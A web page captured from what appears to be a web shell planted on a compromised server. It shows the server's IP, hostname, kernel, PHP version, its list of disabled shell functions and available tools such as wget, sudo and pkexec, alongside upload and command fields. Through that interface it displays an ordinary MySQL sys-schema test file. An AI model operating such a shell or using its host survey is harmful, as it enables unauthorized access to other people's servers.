403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.69.176.160
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/sysschema/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/sysschema/t/fn_ps_thread_trx_info.test
# Tests for sys schema
# Verify the sys.ps_thread_trx_info() function perfoms as expected

-- source include/not_embedded.inc
# Performance schema tracks prepared statements separately, and does not
# yet have a summary view that we can use for this view.
# Until then, we disable this test with --ps-protocol
-- source include/no_protocol.inc

# Passing unknown connection id should return NULL
SELECT sys.ps_thread_trx_info(234623462376);

# Make sure current thread returns a valid JSON object
SELECT JSON_VALID(sys.ps_thread_trx_info(sys.ps_thread_id(NULL)));

# Dummy up some transactions and inspect
CREATE DATABASE trx;
CREATE TABLE trx.info (id INT PRIMARY KEY, info VARCHAR(20));

--connect(con1,localhost,root,,)
connection con1;
let $NEW_TRX_ID=`SELECT thread_id FROM performance_schema.threads
  WHERE PROCESSLIST_ID = connection_id()`;

USE trx;
START TRANSACTION;
INSERT INTO info VALUES (1, 'foo');
COMMIT;
START TRANSACTION;
INSERT INTO info VALUES (2, 'bar');
COMMIT;

connection default;
--disable_query_log ONCE
eval SET @ps_thread_id = $NEW_TRX_ID;

# Get the JSON dump of the transaction info
SET @json_doc := sys.ps_thread_trx_info(@ps_thread_id);

# JSON should be valid
SELECT JSON_VALID(@json_doc);

# Should have two transactions in the array
SELECT JSON_LENGTH(@json_doc);

# Expected keys are returned for first transaction details
SELECT JSON_KEYS(JSON_EXTRACT(@json_doc, '$[0]'));

# Expected values are returned for the transaction details
SELECT JSON_CONTAINS_PATH(@json_doc, 'one',          '$[0].time');
SELECT JSON_CONTAINS(@json_doc, '"COMMITTED"',       '$[0].state');
SELECT JSON_CONTAINS(@json_doc, '"READ WRITE"',      '$[0].mode');
SELECT JSON_CONTAINS(@json_doc, '"NO"',              '$[0].autocommitted');
SELECT JSON_CONTAINS(@json_doc, '"AUTOMATIC"',       '$[0].gtid');
SELECT JSON_CONTAINS(@json_doc, '"REPEATABLE READ"', '$[0].isolation');

# Expected keys are returned for first transaction statements_executed details
SELECT JSON_KEYS(JSON_EXTRACT(@json_doc, '$[0].statements_executed[0]'));

# Confirm statement details values
SELECT JSON_CONTAINS_PATH(@json_doc, 'one',                               '$[0].statements_executed[0].time');
SELECT JSON_CONTAINS(@json_doc, '"INSERT INTO info VALUES (1, \'foo\')"', '$[0].statements_executed[0].sql_text');
SELECT JSON_CONTAINS(@json_doc, '"trx"',                                  '$[0].statements_executed[0].schema');
SELECT JSON_CONTAINS(@json_doc, '0',                                      '$[0].statements_executed[0].rows_examined');
SELECT JSON_CONTAINS(@json_doc, '1',                                      '$[0].statements_executed[0].rows_affected');
SELECT JSON_CONTAINS(@json_doc, '0',                                      '$[0].statements_executed[0].rows_sent');
SELECT JSON_CONTAINS(@json_doc, '0',                                      '$[0].statements_executed[0].tmp_tables');
SELECT JSON_CONTAINS(@json_doc, '0',                                      '$[0].statements_executed[0].tmp_disk_tables');
SELECT JSON_CONTAINS(@json_doc, '0',                                      '$[0].statements_executed[0].sort_rows');
SELECT JSON_CONTAINS(@json_doc, '0',                                      '$[0].statements_executed[0].sort_merge_passes');

# Second statement in transaction should be a COMMIT
SELECT JSON_CONTAINS(@json_doc, '"COMMIT"', '$[0].statements_executed[1].sql_text');

# Simulate a truncated set of output by lowering the @sys.ps_thread_trx_info.max_length user variable
# This also tests the user variable works appropriately, incidentally

SET @sys.ps_thread_trx_info.max_length = 100;

# Should return an error JSON object
--replace_regex /Row 1[1-2] was/Row 1X was/
SELECT sys.ps_thread_trx_info(@ps_thread_id);

# Setting the user variable back to NULL should reset to 65535 from sys_config, and no truncation
SET @sys.ps_thread_trx_info.max_length = NULL;
SELECT JSON_VALID(sys.ps_thread_trx_info(@ps_thread_id));

# Clean up

disconnect con1;
DROP DATABASE trx;

Youez - 2016 - github.com/yon3zu
LinuXploit